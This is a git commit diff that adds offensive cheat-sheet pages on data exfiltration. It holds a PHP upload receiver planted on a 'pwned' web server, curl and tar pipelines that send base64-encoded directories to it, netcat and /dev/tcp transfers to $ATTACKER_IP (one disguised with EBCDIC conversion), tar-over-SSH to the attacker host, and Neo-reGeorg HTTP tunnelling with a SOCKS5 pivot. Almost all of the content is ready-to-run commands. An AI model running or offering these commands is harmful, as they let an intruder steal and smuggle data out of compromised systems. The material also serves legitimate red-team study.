added http to exfiltration
This commit is contained in:
parent
cf50085db3
commit
851ed5ef3b
|
@ -0,0 +1,47 @@
|
|||
# HTTP/PHP Exfiltration
|
||||
|
||||
* On a pwned web server concat the following PHP code to an existing page
|
||||
```php
|
||||
<?php
|
||||
if (isset($_POST['file'])) {
|
||||
$file = fopen("/tmp/out.b64","w");
|
||||
fwrite($file, $_POST['file']);
|
||||
fclose($file);
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
* POST the payload to the controlled web server
|
||||
```sh
|
||||
curl --data "file=$(tar zcf - <directory> | base64)" http://example.com/about.php
|
||||
```
|
||||
|
||||
* Prepare the stored file through removing the url encoding
|
||||
```sh
|
||||
sudo sed -i 's/ /+/g' /tmp/out.b64
|
||||
```
|
||||
|
||||
* Unarchive the data
|
||||
```sh
|
||||
cat /tmp/out.b64 | base64 -d | tar xvfz -
|
||||
```
|
||||
|
||||
## Pivot via Tunneling over HTTP
|
||||
|
||||
* [Neo-reGeorg's tool](https://github.com/L-codes/Neo-reGeorg)
|
||||
|
||||
* Generate an encrypted client with a key via
|
||||
```sh
|
||||
python3 neoreg.py generate -k key.enc
|
||||
```
|
||||
|
||||
* Upload `tunnel.php` to the web server created
|
||||
* Trigger the tunnel via
|
||||
```sh
|
||||
python3 neoreg.py -k key.enc -u http://example.com/tunnel.php
|
||||
```
|
||||
|
||||
* Start socks5 via
|
||||
```sh
|
||||
curl --socks5 127.0.0.1:1080 http://target.example.com
|
||||
```
|
|
@ -1,11 +1,35 @@
|
|||
# Netcat
|
||||
|
||||
## Receiver
|
||||
|
||||
* RX
|
||||
```sh
|
||||
nc -lp 8080 > out.txt
|
||||
```
|
||||
|
||||
## Transceiver
|
||||
|
||||
* TX
|
||||
```sh
|
||||
nc $ATTACKER_IP 8080 < in.txt
|
||||
```
|
||||
|
||||
* TX without nc
|
||||
```sh
|
||||
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
||||
```
|
||||
|
||||
* Have to be end manually after a while
|
||||
|
||||
## Compress and Encode
|
||||
|
||||
* Compress and encode the transmitted data
|
||||
```sh
|
||||
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
||||
```
|
||||
|
||||
* On receiver's side, after `out.data` has been received
|
||||
```sh
|
||||
dd conv=ascii if=out.data | base64 -d > out.tar
|
||||
tar xvf out.tar
|
||||
```
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
# SSH Exfiltration
|
||||
|
||||
* Given: without `scp`
|
||||
|
||||
## Compress
|
||||
|
||||
* Archive the data on target, send it to the attacker. Unpack including preserved permissions
|
||||
```sh
|
||||
tar cf - <directory> | ssh user@$ATTACKER_IP "cd /tmp/; tar xpf -"
|
||||
```
|
||||
|
Loading…
Reference in New Issue